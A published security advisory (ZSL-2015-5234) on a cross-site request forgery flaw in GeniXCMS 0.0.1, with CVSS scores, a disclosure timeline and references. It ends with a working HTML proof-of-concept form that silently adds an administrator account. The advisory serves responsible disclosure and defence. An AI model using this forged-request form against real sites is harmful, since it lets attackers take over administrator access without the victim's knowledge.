GeniXCMS v0.0.1 CSRF Add Admin Exploit

2015-03-1000:00:00

Gjoko Krstic

zeroscience.mk

6.8 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

8.6 High

AI Score

Confidence

High

0.01 Low

EPSS

Percentile

83.9%

JSON

Title: GeniXCMS v0.0.1 CSRF Add Admin Exploit
Advisory ID: ZSL-2015-5234
Type: Local/Remote
Impact: Cross-Site Scripting
Risk: (3/5)
Release Date: 10.03.2015

Summary

GenixCMS is a PHP Based Content Management System and Framework (CMSF). It’s a simple and lightweight of CMSF. Very suitable for Intermediate PHP developer to Advanced Developer. Some manual configurations are needed to make this application to work.

Description

The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Vendor

MetalGenix - <http://www.genixcms.org>

Affected Version

0.0.1

Tested On

nginx/1.4.6 (Ubuntu)
Apache 2.4.10 (Win32)
PHP 5.6.3
MySQL 5.6.21

Vendor Status

[05.03.2015] Vulnerability discovered.
[05.03.2015] Vendor contacted.
[06.03.2015] Vendor responds asking more details.
[06.03.2015] Sent details to the vendor.
[07.03.2015] Vendor promises fix soon.
[10.03.2015] Vendor releases patched version.
[10.03.2015] Public security advisory released.

PoC

genixcms_csrf.txt

Credits

Vulnerability discovered by Gjoko Krstic - <[email protected]>

References

[1] <http://blog.metalgenix.com/update-security-fix-and-add-newsletter-module/16>
[2] <https://github.com/semplon/GeniXCMS/commit/698245488343396185b1b49e7482ee5b25541815>
[3] <http://www.exploit-db.com/exploits/36321/>
[4] <http://osvdb.org/show/osvdb/119391>
[5] <http://cxsecurity.com/issue/WLB-2015030065>
[6] <http://packetstormsecurity.com/files/130772>
[7] <https://exchange.xforce.ibmcloud.com/#/vulnerabilities/101499>
[8] <http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-2680>
[9] <https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2680>

Changelog

[10.03.2015] - Initial release
[11.03.2015] - Added reference [4], [5] and [6]
[13.03.2015] - Added reference [7]
[24.03.2015] - Added reference [8] and [9]

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: [email protected]

<html><body><p>GeniXCMS v0.0.1 CSRF Add Admin Exploit

Vendor: MetalGenix
Product web page: http://www.genixcms.org
Affected version: 0.0.1

Summary: GenixCMS is a PHP Based Content Management System and Framework (CMSF).
It's a simple and lightweight of CMSF. Very suitable for Intermediate PHP developer to
Advanced Developer. Some manual configurations are needed to make this application to
work.

Desc: The application allows users to perform certain actions via HTTP requests without
performing any validity checks to verify the requests. This can be exploited to perform
certain actions with administrative privileges if a logged-in user visits a malicious web
site.

Tested on: nginx/1.4.6 (Ubuntu)
           Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5234
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5234.php


05.03.2015

---



  </p>
<form action="http://localhost/genixcms/gxadmin/index.php?page=users" method="POST">
<input name="userid" type="hidden" value="Testingus"/>
<input name="pass1" type="hidden" value="123456"/>
<input name="pass2" type="hidden" value="123456"/>
<input name="email" type="hidden" value="[email protected]"/>
<input name="group" type="hidden" value="0"/>
<input name="adduser" type="hidden" value=""/>
<input type="submit" value="Forge!"/>
</form>
</body></html>